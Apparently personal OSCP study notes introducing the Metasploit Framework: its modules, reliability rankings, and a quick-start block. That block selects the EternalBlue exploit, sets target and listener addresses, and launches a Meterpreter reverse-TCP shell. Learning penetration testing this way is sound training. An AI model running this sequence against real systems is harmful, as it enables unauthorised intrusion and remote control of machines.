Metasploit Framework — Hub
External: Internal All The Things — Metasploit
What is Metasploit?
The Metasploit Framework (MSF) is an open-source penetration testing platform written in Ruby. It provides a standardized interface for developing, testing, and executing exploit code against remote targets. Used across every phase of a pentest: reconnaissance, exploitation, post-exploitation, and reporting.
OSCP note: MSF is restricted to ONE use during the OSCP exam (on a single target). Learn it deeply so that one use counts.
Install: Preinstalled on Kali — Installation - Kali Setup > 📌 MetaSploit
Architecture Overview
Metasploit Framework
├── msfconsole — primary interactive console
├── msfvenom — standalone payload generator
├── Modules
│ ├── exploits/ — attack code for specific vulnerabilities
│ ├── auxiliary/ — scanners, fuzzers, brute-forcers, DoS
│ ├── post/ — post-exploitation (run after shell/meterpreter)
│ ├── payloads/ — code delivered and executed on the target
│ ├── encoders/ — obfuscate payloads to evade AV
│ ├── nops/ — NOP sled generators (buffer overflow)
│ └── evasion/ — AV/EDR evasion modules
└── Database (PostgreSQL) — store hosts, services, loot, credentials
Module Ranking (Reliability)
| Rank | Meaning |
|---|---|
Excellent | Never crashes the service; very reliable |
Great | Has a default target; auto-detects ideal conditions |
Good | No default target but works on common configurations |
Normal | Reliable but requires specific conditions |
Average | May not work reliably every time |
Low | Nearly always crashes the service |
Manual | Requires manual configuration, often a DoS risk |
Quick Start
# Start msfconsole
msfconsole
# Search for a module
search type:exploit name:eternalblue
# Use a module
use exploit/windows/smb/ms17_010_eternalblue
# Show required options
show options
# Set target & payload
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
# Launch
runSub-Notes (This Folder)
| Note | Covers |
|---|---|
| Msfconsole | Console commands, search, sessions, database, jobs |
| Msfvenom | Payload generation, formats, encoders, all flags |
| Payloads | Staged vs stageless, naming convention, common payloads |
| Meterpreter | All meterpreter commands by category |
| Post-Exploitation | Post modules, hashdump, persistence, pivoting |
| Auxiliary | Scanners, brute-forcers, SMB/FTP/SSH aux modules |